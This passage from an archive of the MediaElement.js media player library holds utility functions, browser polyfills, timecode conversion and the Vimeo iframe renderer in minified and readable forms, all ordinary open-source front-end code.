arguments; var immediate = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; if (typeof func !== 'function') { throw new Error('First argument must be a function'); } if (typeof wait !== 'number') { throw new Error('Second argument must be a numeric value'); } var timeout = void 0; return function () { var context = _this, args = _arguments; var later = function later() { timeout = null; if (!immediate) { func.apply(context, args); } }; var callNow = immediate && !timeout; clearTimeout(timeout); timeout = setTimeout(later, wait); if (callNow) { func.apply(context, args); } }; } function isObjectEmpty(instance) { return Object.getOwnPropertyNames(instance).length <= 0; } function splitEvents(events, id) { var rwindow = /^((after|before)print|(before)?unload|hashchange|message|o(ff|n)line|page(hide|show)|popstate|resize|storage)\b/; var ret = { d: [], w: [] }; (events || '').split(' ').forEach(function (v) { var eventName = '' + v + (id ? '.' + id : ''); if (eventName.startsWith('.')) { ret.d.push(eventName); ret.w.push(eventName); } else { ret[rwindow.test(v) ? 'w' : 'd'].push(eventName); } }); ret.d = ret.d.join(' '); ret.w = ret.w.join(' '); return ret; } function createEvent(eventName, target) { if (typeof eventName !== 'string') { throw new Error('Event name must be a string'); } var eventFrags = eventName.match(/([a-z]+\.([a-z]+))/i), detail = { target: target }; if (eventFrags !== null) { eventName = eventFrags[1]; detail.namespace = eventFrags[2]; } return new window.CustomEvent(eventName, { detail: detail }); } function isNodeAfter(sourceNode, targetNode) { return !!(sourceNode && targetNode && sourceNode.compareDocumentPosition(targetNode) & 2); } function isString(value) { return typeof value === 'string'; } _mejs2.default.Utils = _mejs2.default.Utils || {}; _mejs2.default.Utils.escapeHTML = escapeHTML; _mejs2.default.Utils.debounce = debounce; _mejs2.default.Utils.isObjectEmpty = isObjectEmpty; _mejs2.default.Utils.splitEvents = splitEvents; _mejs2.default.Utils.createEvent = createEvent; _mejs2.default.Utils.isNodeAfter = isNodeAfter; _mejs2.default.Utils.isString = isString; },{"7":7}],28:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.typeChecks = undefined; exports.absolutizeUrl = absolutizeUrl; exports.formatType = formatType; exports.getMimeFromType = getMimeFromType; exports.getTypeFromFile = getTypeFromFile; exports.getExtension = getExtension; exports.normalizeExtension = normalizeExtension; var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _general = _dereq_(27); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var typeChecks = exports.typeChecks = []; function absolutizeUrl(url) { if (typeof url !== 'string') { throw new Error('`url` argument must be a string'); } var el = document.createElement('div'); el.innerHTML = '<a href="' + (0, _general.escapeHTML)(url) + '">x</a>'; return el.firstChild.href; } function formatType(url) { var type = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : ''; return url && !type ? getTypeFromFile(url) : type; } function getMimeFromType(type) { if (typeof type !== 'string') { throw new Error('`type` argument must be a string'); } return type && type.indexOf(';') > -1 ? type.substr(0, type.indexOf(';')) : type; } function getTypeFromFile(url) { if (typeof url !== 'string') { throw new Error('`url` argument must be a string'); } for (var i = 0, total = typeChecks.length; i < total; i++) { var type = typeChecks[i](url); if (type) { return type; } } var ext = getExtension(url), normalizedExt = normalizeExtension(ext); var mime = 'video/mp4'; if (normalizedExt) { if (~['mp4', 'm4v', 'ogg', 'ogv', 'webm', 'flv', 'mpeg'].indexOf(normalizedExt)) { mime = 'video/' + normalizedExt; } else if ('mov' === normalizedExt) { mime = 'video/quicktime'; } else if (~['mp3', 'oga', 'wav', 'mid', 'midi'].indexOf(normalizedExt)) { mime = 'audio/' + normalizedExt; } } return mime; } function getExtension(url) { if (typeof url !== 'string') { throw new Error('`url` argument must be a string'); } var baseUrl = url.split('?')[0], baseName = baseUrl.split('\\').pop().split('/').pop(); return ~baseName.indexOf('.') ? baseName.substring(baseName.lastIndexOf('.') + 1) : ''; } function normalizeExtension(extension) { if (typeof extension !== 'string') { throw new Error('`extension` argument must be a string'); } switch (extension) { case 'mp4': case 'm4v': return 'mp4'; case 'webm': case 'webma': case 'webmv': return 'webm'; case 'ogg': case 'oga': case 'ogv': return 'ogg'; default: return extension; } } _mejs2.default.Utils = _mejs2.default.Utils || {}; _mejs2.default.Utils.typeChecks = typeChecks; _mejs2.default.Utils.absolutizeUrl = absolutizeUrl; _mejs2.default.Utils.formatType = formatType; _mejs2.default.Utils.getMimeFromType = getMimeFromType; _mejs2.default.Utils.getTypeFromFile = getTypeFromFile; _mejs2.default.Utils.getExtension = getExtension; _mejs2.default.Utils.normalizeExtension = normalizeExtension; },{"27":27,"7":7}],29:[function(_dereq_,module,exports){ 'use strict'; var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _promisePolyfill = _dereq_(4); var _promisePolyfill2 = _interopRequireDefault(_promisePolyfill); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } (function (arr) { arr.forEach(function (item) { if (item.hasOwnProperty('remove')) { return; } Object.defineProperty(item, 'remove', { configurable: true, enumerable: true, writable: true, value: function remove() { this.parentNode.removeChild(this); } }); }); })([Element.prototype, CharacterData.prototype, DocumentType.prototype]); (function () { if (typeof window.CustomEvent === 'function') { return false; } function CustomEvent(event, params) { params = params || { bubbles: false, cancelable: false, detail: undefined }; var evt = _document2.default.createEvent('CustomEvent'); evt.initCustomEvent(event, params.bubbles, params.cancelable, params.detail); return evt; } CustomEvent.prototype = window.Event.prototype; window.CustomEvent = CustomEvent; })(); if (typeof Object.assign !== 'function') { Object.assign = function (target) { if (target === null || target === undefined) { throw new TypeError('Cannot convert undefined or null to object'); } var to = Object(target); for (var index = 1, total = arguments.length; index < total; index++) { var nextSource = arguments[index]; if (nextSource !== null) { for (var nextKey in nextSource) { if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) { to[nextKey] = nextSource[nextKey]; } } } } return to; }; } if (!String.prototype.startsWith) { String.prototype.startsWith = function (searchString, position) { position = position || 0; return this.substr(position, searchString.length) === searchString; }; } if (!Element.prototype.matches) { Element.prototype.matches = Element.prototype.matchesSelector || Element.prototype.mozMatchesSelector || Element.prototype.msMatchesSelector || Element.prototype.oMatchesSelector || Element.prototype.webkitMatchesSelector || function (s) { var matches = (this.document || this.ownerDocument).querySelectorAll(s), i = matches.length - 1; while (--i >= 0 && matches.item(i) !== this) {} return i > -1; }; } if (window.Element && !Element.prototype.closest) { Element.prototype.closest = function (s) { var matches = (this.document || this.ownerDocument).querySelectorAll(s), i = void 0, el = this; do { i = matches.length; while (--i >= 0 && matches.item(i) !== el) {} } while (i < 0 && (el = el.parentElement)); return el; }; } (function () { var lastTime = 0; var vendors = ['ms', 'moz', 'webkit', 'o']; for (var x = 0; x < vendors.length && !window.requestAnimationFrame; ++x) { window.requestAnimationFrame = window[vendors[x] + 'RequestAnimationFrame']; window.cancelAnimationFrame = window[vendors[x] + 'CancelAnimationFrame'] || window[vendors[x] + 'CancelRequestAnimationFrame']; } if (!window.requestAnimationFrame) window.requestAnimationFrame = function (callback) { var currTime = new Date().getTime(); var timeToCall = Math.max(0, 16 - (currTime - lastTime)); var id = window.setTimeout(function () { callback(currTime + timeToCall); }, timeToCall); lastTime = currTime + timeToCall; return id; }; if (!window.cancelAnimationFrame) window.cancelAnimationFrame = function (id) { clearTimeout(id); }; })(); if (/firefox/i.test(navigator.userAgent)) { var getComputedStyle = window.getComputedStyle; window.getComputedStyle = function (el, pseudoEl) { var t = getComputedStyle(el, pseudoEl); return t === null ? { getPropertyValue: function getPropertyValue() {} } : t; }; } if (!window.Promise) { window.Promise = _promisePolyfill2.default; } (function (constructor) { if (constructor && constructor.prototype && constructor.prototype.children === null) { Object.defineProperty(constructor.prototype, 'children', { get: function get() { var i = 0, node = void 0, nodes = this.childNodes, children = []; while (node = nodes[i++]) { if (node.nodeType === 1) { children.push(node); } } return children; } }); } })(window.Node || window.Element); },{"2":2,"4":4}],30:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.isDropFrame = isDropFrame; exports.secondsToTimeCode = secondsToTimeCode; exports.timeCodeToSeconds = timeCodeToSeconds; exports.calculateTimeFormat = calculateTimeFormat; exports.convertSMPTEtoSeconds = convertSMPTEtoSeconds; var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function isDropFrame() { var fps = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 25; return !(fps % 1 === 0); } function secondsToTimeCode(time) { var forceHours = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; var showFrameCount = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; var fps = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : 25; var secondsDecimalLength = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : 0; var timeFormat = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : 'hh:mm:ss'; time = !time || typeof time !== 'number' || time < 0 ? 0 : time; var dropFrames = Math.round(fps * 0.066666), timeBase = Math.round(fps), framesPer24Hours = Math.round(fps * 3600) * 24, framesPer10Minutes = Math.round(fps * 600), frameSep = isDropFrame(fps) ? ';' : ':', hours = void 0, minutes = void 0, seconds = void 0, frames = void 0, f = Math.round(time * fps); if (isDropFrame(fps)) { if (f < 0) { f = framesPer24Hours + f; } f = f % framesPer24Hours; var d = Math.floor(f / framesPer10Minutes); var m = f % framesPer10Minutes; f = f + dropFrames * 9 * d; if (m > dropFrames) { f = f + dropFrames * Math.floor((m - dropFrames) / Math.round(timeBase * 60 - dropFrames)); } var timeBaseDivision = Math.floor(f / timeBase); hours = Math.floor(Math.floor(timeBaseDivision / 60) / 60); minutes = Math.floor(timeBaseDivision / 60) % 60; if (showFrameCount) { seconds = timeBaseDivision % 60; } else { seconds = Math.floor(f / timeBase % 60).toFixed(secondsDecimalLength); } } else { hours = Math.floor(time / 3600) % 24; minutes = Math.floor(time / 60) % 60; if (showFrameCount) { seconds = Math.floor(time % 60); } else { seconds = Math.floor(time % 60).toFixed(secondsDecimalLength); } } hours = hours <= 0 ? 0 : hours; minutes = minutes <= 0 ? 0 : minutes; seconds = seconds <= 0 ? 0 : seconds; seconds = seconds === 60 ? 0 : seconds; minutes = minutes === 60 ? 0 : minutes; var timeFormatFrags = timeFormat.split(':'); var timeFormatSettings = {}; for (var i = 0, total = timeFormatFrags.length; i < total; ++i) { var unique = ''; for (var j = 0, t = timeFormatFrags[i].length; j < t; j++) { if (unique.indexOf(timeFormatFrags[i][j]) < 0) { unique += timeFormatFrags[i][j]; } } if (~['f', 's', 'm', 'h'].indexOf(unique)) { timeFormatSettings[unique] = timeFormatFrags[i].length; } } var result = forceHours || hours > 0 ? (hours < 10 && timeFormatSettings.h > 1 ? '0' + hours : hours) + ':' : ''; result += (minutes < 10 && timeFormatSettings.m > 1 ? '0' + minutes : minutes) + ':'; result += '' + (seconds < 10 && timeFormatSettings.s > 1 ? '0' + seconds : seconds); if (showFrameCount) { frames = (f % timeBase).toFixed(0); frames = frames <= 0 ? 0 : frames; result += frames < 10 && timeFormatSettings.f ? frameSep + '0' + frames : '' + frameSep + frames; } return result; } function timeCodeToSeconds(time) { var fps = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 25; if (typeof time !== 'string') { throw new TypeError('Time must be a string'); } if (time.indexOf(';') > 0) { time = time.replace(';', ':'); } if (!/\d{2}(\:\d{2}){0,3}/i.test(time)) { throw new TypeError('Time code must have the format `00:00:00`'); } var parts = time.split(':'); var output = void 0, hours = 0, minutes = 0, seconds = 0, frames = 0, totalMinutes = 0, dropFrames = Math.round(fps * 0.066666), timeBase = Math.round(fps), hFrames = timeBase * 3600, mFrames = timeBase * 60; switch (parts.length) { default: case 1: seconds = parseInt(parts[0], 10); break; case 2: minutes = parseInt(parts[0], 10); seconds = parseInt(parts[1], 10); break; case 3: hours = parseInt(parts[0], 10); minutes = parseInt(parts[1], 10); seconds = parseInt(parts[2], 10); break; case 4: hours = parseInt(parts[0], 10); minutes = parseInt(parts[1], 10); seconds = parseInt(parts[2], 10); frames = parseInt(parts[3], 10); break; } if (isDropFrame(fps)) { totalMinutes = 60 * hours + minutes; output = hFrames * hours + mFrames * minutes + timeBase * seconds + frames - dropFrames * (totalMinutes - Math.floor(totalMinutes / 10)); } else { output = (hFrames * hours + mFrames * minutes + fps * seconds + frames) / fps; } return parseFloat(output.toFixed(3)); } function calculateTimeFormat(time, options) { var fps = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 25; time = !time || typeof time !== 'number' || time < 0 ? 0 : time; var hours = Math.floor(time / 3600) % 24, minutes = Math.floor(time / 60) % 60, seconds = Math.floor(time % 60), frames = Math.floor((time % 1 * fps).toFixed(3)), lis = [[frames, 'f'], [seconds, 's'], [minutes, 'm'], [hours, 'h']]; var format = options.timeFormat, firstTwoPlaces = format[1] === format[0], separatorIndex = firstTwoPlaces ? 2 : 1, separator = format.length < separatorIndex ? format[separatorIndex] : ':', firstChar = format[0], required = false; for (var i = 0, len = lis.length; i < len; i++) { if (~format.indexOf(lis[i][1])) { required = true; } else if (required) { var hasNextValue = false; for (var j = i; j < len; j++) { if (lis[j][0] > 0) { hasNextValue = true; break; } } if (!hasNextValue) { break; } if (!firstTwoPlaces) { format = firstChar + format; } format = lis[i][1] + separator + format; if (firstTwoPlaces) { format = lis[i][1] + format; } firstChar = lis[i][1]; } } options.timeFormat = format; } function convertSMPTEtoSeconds(SMPTE) { if (typeof SMPTE !== 'string') { throw new TypeError('Argument must be a string value'); } SMPTE = SMPTE.replace(',', '.'); var decimalLen = ~SMPTE.indexOf('.') ? SMPTE.split('.')[1].length : 0; var secs = 0, multiplier = 1; SMPTE = SMPTE.split(':').reverse(); for (var i = 0, total = SMPTE.length; i < total; i++) { multiplier = 1; if (i > 0) { multiplier = Math.pow(60, i); } secs += Number(SMPTE[i]) * multiplier; } return Number(secs.toFixed(decimalLen)); } _mejs2.default.Utils = _mejs2.default.Utils || {}; _mejs2.default.Utils.secondsToTimeCode = secondsToTimeCode; _mejs2.default.Utils.timeCodeToSeconds = timeCodeToSeconds; _mejs2.default.Utils.calculateTimeFormat = calculateTimeFormat; _mejs2.default.Utils.convertSMPTEtoSeconds = convertSMPTEtoSeconds; },{"7":7}]},{},[29,6,5,15,23,20,19,21,22,24,16,18,17,9,10,11,12,13,14]); mediaelement/renderers/vimeo.min.js 0000644 00000014500 15111757753 0013441 0 ustar 00 /*! * MediaElement.js * http://www.mediaelementjs.com/ * * Wrapper that mimics native HTML5 MediaElement (audio and video) * using a variety of technologies (pure JavaScript, Flash, iframe) * * Copyright 2010-2017, John Dyer (http://j.hn/) * License: MIT * */ !function a(o,s,u){function c(n,e){if(!s[n]){if(!o[n]){var t="function"==typeof require&&require;if(!e&&t)return t(n,!0);if(l)return l(n,!0);var r=new Error("Cannot find module '"+n+"'");throw r.code="MODULE_NOT_FOUND",r}var i=s[n]={exports:{}};o[n][0].call(i.exports,function(e){var t=o[n][1][e];return c(t||e)},i,i.exports,a,o,s,u)}return s[n].exports}for(var l="function"==typeof require&&require,e=0;e<u.length;e++)c(u[e]);return c}({1:[function(e,t,n){"use strict";var T={promise:null,load:function(e){"undefined"!=typeof Vimeo?T._createPlayer(e):(T.promise=T.promise||mejs.Utils.loadScript("https://player.vimeo.com/api/player.js"),T.promise.then(function(){T._createPlayer(e)}))},_createPlayer:function(e){var t=new Vimeo.Player(e.iframe);window["__ready__"+e.id](t)},getVimeoId:function(e){if(null==e)return null;var t=(e=e.split("?")[0]).match(/https:\/\/player.vimeo.com\/video\/(\d+)$/);if(t)return parseInt(t[1],10);var n=e.match(/https:\/\/vimeo.com\/(\d+)$/);if(n)return parseInt(n[1],10);var r=e.match(/https:\/\/vimeo.com\/(\d+)\/\w+$/);return r?parseInt(r[1],10):NaN}},r={name:"vimeo_iframe",options:{prefix:"vimeo_iframe"},canPlayType:function(e){return~["video/vimeo","video/x-vimeo"].indexOf(e.toLowerCase())},create:function(f,e,t){var v=[],h={},y=!0,g=1,a=g,E=0,j=0,U=!1,b=0,w=null,n="";h.options=e,h.id=f.id+"_"+e.prefix,h.mediaElement=f;for(var N=function(e){f.generateError("Code "+e.name+": "+e.message,t)},r=mejs.html5media.properties,i=function(i){var e=""+i.substring(0,1).toUpperCase()+i.substring(1);h["get"+e]=function(){if(null!==w){switch(i){case"currentTime":return E;case"duration":return b;case"volume":return g;case"muted":return 0===g;case"paused":return y;case"ended":return U;case"src":return w.getVideoUrl().then(function(e){n=e}).catch(function(e){return N(e)}),n;case"buffered":return{start:function(){return 0},end:function(){return j*b},length:1};case"readyState":return 4}return null}return null},h["set"+e]=function(e){if(null!==w)switch(i){case"src":var t="string"==typeof e?e:e[0].src,n=T.getVimeoId(t);w.loadVideo(n).then(function(){f.originalNode.autoplay&&w.play()}).catch(function(e){return N(e)});break;case"currentTime":w.setCurrentTime(e).then(function(){E=e,setTimeout(function(){var e=mejs.Utils.createEvent("timeupdate",h);f.dispatchEvent(e)},50)}).catch(function(e){return N(e)});break;case"volume":w.setVolume(e).then(function(){a=g=e,setTimeout(function(){var e=mejs.Utils.createEvent("volumechange",h);f.dispatchEvent(e)},50)}).catch(function(e){return N(e)});break;case"loop":w.setLoop(e).catch(function(e){return N(e)});break;case"muted":e?w.setVolume(0).then(function(){g=0,setTimeout(function(){var e=mejs.Utils.createEvent("volumechange",h);f.dispatchEvent(e)},50)}).catch(function(e){return N(e)}):w.setVolume(a).then(function(){g=a,setTimeout(function(){var e=mejs.Utils.createEvent("volumechange",h);f.dispatchEvent(e)},50)}).catch(function(e){return N(e)});break;case"readyState":var r=mejs.Utils.createEvent("canplay",h);f.dispatchEvent(r)}else v.push({type:"set",propName:i,value:e})}},o=0,s=r.length;o<s;o++)i(r[o]);for(var u=mejs.html5media.methods,c=function(e){h[e]=function(){if(null!==w)switch(e){case"play":return y=!1,w.play();case"pause":return y=!0,w.pause();case"load":return null}else v.push({type:"call",methodName:e})}},l=0,d=u.length;l<d;l++)c(u[l]);window["__ready__"+h.id]=function(e){if(f.vimeoPlayer=w=e,v.length)for(var t=0,n=v.length;t<n;t++){var r=v[t];if("set"===r.type){var i=r.propName,a=""+i.substring(0,1).toUpperCase()+i.substring(1);h["set"+a](r.value)}else"call"===r.type&&h[r.methodName]()}f.originalNode.muted&&(w.setVolume(0),g=0);for(var o=document.getElementById(h.id),s=void 0,u=function(e){var t=mejs.Utils.createEvent(e.type,h);f.dispatchEvent(t)},c=0,l=(s=["mouseover","mouseout"]).length;c<l;c++)o.addEventListener(s[c],u,!1);w.on("loaded",function(){w.getDuration().then(function(e){if(0<(b=e)&&(j=b*e,f.originalNode.autoplay)){U=y=!1;var t=mejs.Utils.createEvent("play",h);f.dispatchEvent(t)}}).catch(function(e){N(e)})}),w.on("progress",function(){w.getDuration().then(function(e){if(0<(b=e)&&(j=b*e,f.originalNode.autoplay)){var t=mejs.Utils.createEvent("play",h);f.dispatchEvent(t);var n=mejs.Utils.createEvent("playing",h);f.dispatchEvent(n)}var r=mejs.Utils.createEvent("progress",h);f.dispatchEvent(r)}).catch(function(e){return N(e)})}),w.on("timeupdate",function(){w.getCurrentTime().then(function(e){E=e;var t=mejs.Utils.createEvent("timeupdate",h);f.dispatchEvent(t)}).catch(function(e){return N(e)})}),w.on("play",function(){U=y=!1;var e=mejs.Utils.createEvent("play",h);f.dispatchEvent(e);var t=mejs.Utils.createEvent("playing",h);f.dispatchEvent(t)}),w.on("pause",function(){y=!0,U=!1;var e=mejs.Utils.createEvent("pause",h);f.dispatchEvent(e)}),w.on("ended",function(){y=!1,U=!0;var e=mejs.Utils.createEvent("ended",h);f.dispatchEvent(e)});for(var d=0,p=(s=["rendererready","loadedmetadata","loadeddata","canplay"]).length;d<p;d++){var m=mejs.Utils.createEvent(s[d],h);f.dispatchEvent(m)}};var p=f.originalNode.height,m=f.originalNode.width,_=document.createElement("iframe"),x="https://player.vimeo.com/video/"+T.getVimeoId(t[0].src),A=~t[0].src.indexOf("?")?"?"+t[0].src.slice(t[0].src.indexOf("?")+1):"",V=[];return f.originalNode.autoplay&&-1===A.indexOf("autoplay")&&V.push("autoplay=1"),f.originalNode.loop&&-1===A.indexOf("loop")&&V.push("loop=1"),A=A+(A?"&":"?")+V.join("&"),_.setAttribute("id",h.id),_.setAttribute("width",m),_.setAttribute("height",p),_.setAttribute("frameBorder","0"),_.setAttribute("src",""+x+A),_.setAttribute("webkitallowfullscreen","true"),_.setAttribute("mozallowfullscreen","true"),_.setAttribute("allowfullscreen","true"),_.setAttribute("allow","autoplay"),f.originalNode.parentNode.insertBefore(_,f.originalNode),f.originalNode.style.display="none",T.load({iframe:_,id:h.id}),h.hide=function(){h.pause(),w&&(_.style.display="none")},h.setSize=function(e,t){_.setAttribute("width",e),_.setAttribute("height",t)},h.show=function(){w&&(_.style.display="")},h.destroy=function(){},h}};mejs.Utils.typeChecks.push(function(e){return/(\/\/player\.vimeo|vimeo\.com)/i.test(e)?"video/x-vimeo":null}),mejs.Renderers.add(r)},{}]},{},[1]); mediaelement/renderers/vimeo.js 0000644 00000030200 15111757753 0012652 0 ustar 00 /*! * MediaElement.js * http://www.mediaelementjs.com/ * * Wrapper that mimics native HTML5 MediaElement (audio and video) * using a variety of technologies (pure JavaScript, Flash, iframe) * * Copyright 2010-2017, John Dyer (http://j.hn/) * License: MIT * */(function(){function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s}return e})()({1:[function(_dereq_,module,exports){ 'use strict'; var VimeoApi = { promise: null, load: function load(settings) { if (typeof Vimeo !== 'undefined') { VimeoApi._createPlayer(settings); } else { VimeoApi.promise = VimeoApi.promise || mejs.Utils.loadScript('https://player.vimeo.com/api/player.js'); VimeoApi.promise.then(function () { VimeoApi._createPlayer(settings); }); } }, _createPlayer: function _createPlayer(settings) { var player = new Vimeo.Player(settings.iframe); window['__ready__' + settings.id](player); }, getVimeoId: function getVimeoId(url) { if (url == null) { return null; } var parts = url.split('?'); url = parts[0]; var playerLinkMatch = url.match(/https:\/\/player.vimeo.com\/video\/(\d+)$/); if (playerLinkMatch) { return parseInt(playerLinkMatch[1], 10); } var vimeoLinkMatch = url.match(/https:\/\/vimeo.com\/(\d+)$/); if (vimeoLinkMatch) { return parseInt(vimeoLinkMatch[1], 10); } var privateVimeoLinkMatch = url.match(/https:\/\/vimeo.com\/(\d+)\/\w+$/); if (privateVimeoLinkMatch) { return parseInt(privateVimeoLinkMatch[1], 10); } return NaN; } }; var vimeoIframeRenderer = { name: 'vimeo_iframe', options: { prefix: 'vimeo_iframe' }, canPlayType: function canPlayType(type) { return ~['video/vimeo', 'video/x-vimeo'].indexOf(type.toLowerCase()); }, create: function create(mediaElement, options, mediaFiles) { var apiStack = [], vimeo = {}, readyState = 4; var paused = true, volume = 1, oldVolume = volume, currentTime = 0, bufferedTime = 0, ended = false, duration = 0, vimeoPlayer = null, url = ''; vimeo.options = options; vimeo.id = mediaElement.id + '_' + options.prefix; vimeo.mediaElement = mediaElement; var errorHandler = function errorHandler(error) { mediaElement.generateError('Code ' + error.name + ': ' + error.message, mediaFiles); }; var props = mejs.html5media.properties, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); vimeo['get' + capName] = function () { if (vimeoPlayer !== null) { var value = null; switch (propName) { case 'currentTime': return currentTime; case 'duration': return duration; case 'volume': return volume; case 'muted': return volume === 0; case 'paused': return paused; case 'ended': return ended; case 'src': vimeoPlayer.getVideoUrl().then(function (_url) { url = _url; }).catch(function (error) { return errorHandler(error); }); return url; case 'buffered': return { start: function start() { return 0; }, end: function end() { return bufferedTime * duration; }, length: 1 }; case 'readyState': return readyState; } return value; } else { return null; } }; vimeo['set' + capName] = function (value) { if (vimeoPlayer !== null) { switch (propName) { case 'src': var _url2 = typeof value === 'string' ? value : value[0].src, videoId = VimeoApi.getVimeoId(_url2); vimeoPlayer.loadVideo(videoId).then(function () { if (mediaElement.originalNode.autoplay) { vimeoPlayer.play(); } }).catch(function (error) { return errorHandler(error); }); break; case 'currentTime': vimeoPlayer.setCurrentTime(value).then(function () { currentTime = value; setTimeout(function () { var event = mejs.Utils.createEvent('timeupdate', vimeo); mediaElement.dispatchEvent(event); }, 50); }).catch(function (error) { return errorHandler(error); }); break; case 'volume': vimeoPlayer.setVolume(value).then(function () { volume = value; oldVolume = volume; setTimeout(function () { var event = mejs.Utils.createEvent('volumechange', vimeo); mediaElement.dispatchEvent(event); }, 50); }).catch(function (error) { return errorHandler(error); }); break; case 'loop': vimeoPlayer.setLoop(value).catch(function (error) { return errorHandler(error); }); break; case 'muted': if (value) { vimeoPlayer.setVolume(0).then(function () { volume = 0; setTimeout(function () { var event = mejs.Utils.createEvent('volumechange', vimeo); mediaElement.dispatchEvent(event); }, 50); }).catch(function (error) { return errorHandler(error); }); } else { vimeoPlayer.setVolume(oldVolume).then(function () { volume = oldVolume; setTimeout(function () { var event = mejs.Utils.createEvent('volumechange', vimeo); mediaElement.dispatchEvent(event); }, 50); }).catch(function (error) { return errorHandler(error); }); } break; case 'readyState': var event = mejs.Utils.createEvent('canplay', vimeo); mediaElement.dispatchEvent(event); break; default: break; } } else { apiStack.push({ type: 'set', propName: propName, value: value }); } }; }; for (var i = 0, total = props.length; i < total; i++) { assignGettersSetters(props[i]); } var methods = mejs.html5media.methods, assignMethods = function assignMethods(methodName) { vimeo[methodName] = function () { if (vimeoPlayer !== null) { switch (methodName) { case 'play': paused = false; return vimeoPlayer.play(); case 'pause': paused = true; return vimeoPlayer.pause(); case 'load': return null; } } else { apiStack.push({ type: 'call', methodName: methodName }); } }; }; for (var _i = 0, _total = methods.length; _i < _total; _i++) { assignMethods(methods[_i]); } window['__ready__' + vimeo.id] = function (_vimeoPlayer) { mediaElement.vimeoPlayer = vimeoPlayer = _vimeoPlayer; if (apiStack.length) { for (var _i2 = 0, _total2 = apiStack.length; _i2 < _total2; _i2++) { var stackItem = apiStack[_i2]; if (stackItem.type === 'set') { var propName = stackItem.propName, capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); vimeo['set' + capName](stackItem.value); } else if (stackItem.type === 'call') { vimeo[stackItem.methodName](); } } } if (mediaElement.originalNode.muted) { vimeoPlayer.setVolume(0); volume = 0; } var vimeoIframe = document.getElementById(vimeo.id); var events = void 0; events = ['mouseover', 'mouseout']; var assignEvents = function assignEvents(e) { var event = mejs.Utils.createEvent(e.type, vimeo); mediaElement.dispatchEvent(event); }; for (var _i3 = 0, _total3 = events.length; _i3 < _total3; _i3++) { vimeoIframe.addEventListener(events[_i3], assignEvents, false); } vimeoPlayer.on('loaded', function () { vimeoPlayer.getDuration().then(function (loadProgress) { duration = loadProgress; if (duration > 0) { bufferedTime = duration * loadProgress; if (mediaElement.originalNode.autoplay) { paused = false; ended = false; var event = mejs.Utils.createEvent('play', vimeo); mediaElement.dispatchEvent(event); } } }).catch(function (error) { errorHandler(error, vimeo); }); }); vimeoPlayer.on('progress', function () { vimeoPlayer.getDuration().then(function (loadProgress) { duration = loadProgress; if (duration > 0) { bufferedTime = duration * loadProgress; if (mediaElement.originalNode.autoplay) { var initEvent = mejs.Utils.createEvent('play', vimeo); mediaElement.dispatchEvent(initEvent); var playingEvent = mejs.Utils.createEvent('playing', vimeo); mediaElement.dispatchEvent(playingEvent); } } var event = mejs.Utils.createEvent('progress', vimeo); mediaElement.dispatchEvent(event); }).catch(function (error) { return errorHandler(error); }); }); vimeoPlayer.on('timeupdate', function () { vimeoPlayer.getCurrentTime().then(function (seconds) { currentTime = seconds; var event = mejs.Utils.createEvent('timeupdate', vimeo); mediaElement.dispatchEvent(event); }).catch(function (error) { return errorHandler(error); }); }); vimeoPlayer.on('play', function () { paused = false; ended = false; var event = mejs.Utils.createEvent('play', vimeo); mediaElement.dispatchEvent(event); var playingEvent = mejs.Utils.createEvent('playing', vimeo); mediaElement.dispatchEvent(playingEvent); }); vimeoPlayer.on('pause', function () { paused = true; ended = false; var event = mejs.Utils.createEvent('pause', vimeo); mediaElement.dispatchEvent(event); }); vimeoPlayer.on('ended', function () { paused = false; ended = true; var event = mejs.Utils.createEvent('ended', vimeo); mediaElement.dispatchEvent(event); }); events = ['rendererready', 'loadedmetadata', 'loadeddata', 'canplay']; for (var _i4 = 0, _total4 = events.length; _i4 < _total4; _i4++) { var event = mejs.Utils.createEvent(events[_i4], vimeo); mediaElement.dispatchEvent(event); } }; var height = mediaElement.originalNode.height, width = mediaElement.originalNode.width, vimeoContainer = document.createElement('iframe'), standardUrl = 'https://player.vimeo.com/video/' + VimeoApi.getVimeoId(mediaFiles[0].src); var queryArgs = ~mediaFiles[0].src.indexOf('?') ? '?' + mediaFiles[0].src.slice(mediaFiles[0].src.indexOf('?') + 1) : ''; var args = []; if (mediaElement.originalNode.autoplay && queryArgs.indexOf('autoplay') === -1) { args.push('autoplay=1'); } if (mediaElement.originalNode.loop && queryArgs.indexOf('loop') === -1) { args.push('loop=1'); } queryArgs = '' + queryArgs + (queryArgs ? '&' : '?') + args.join('&'); vimeoContainer.setAttribute('id', vimeo.id); vimeoContainer.setAttribute('width', width); vimeoContainer.setAttribute('height', height); vimeoContainer.setAttribute('frameBorder', '0'); vimeoContainer.setAttribute('src', '' + standardUrl + queryArgs); vimeoContainer.setAttribute('webkitallowfullscreen', 'true'); vimeoContainer.setAttribute('mozallowfullscreen', 'true'); 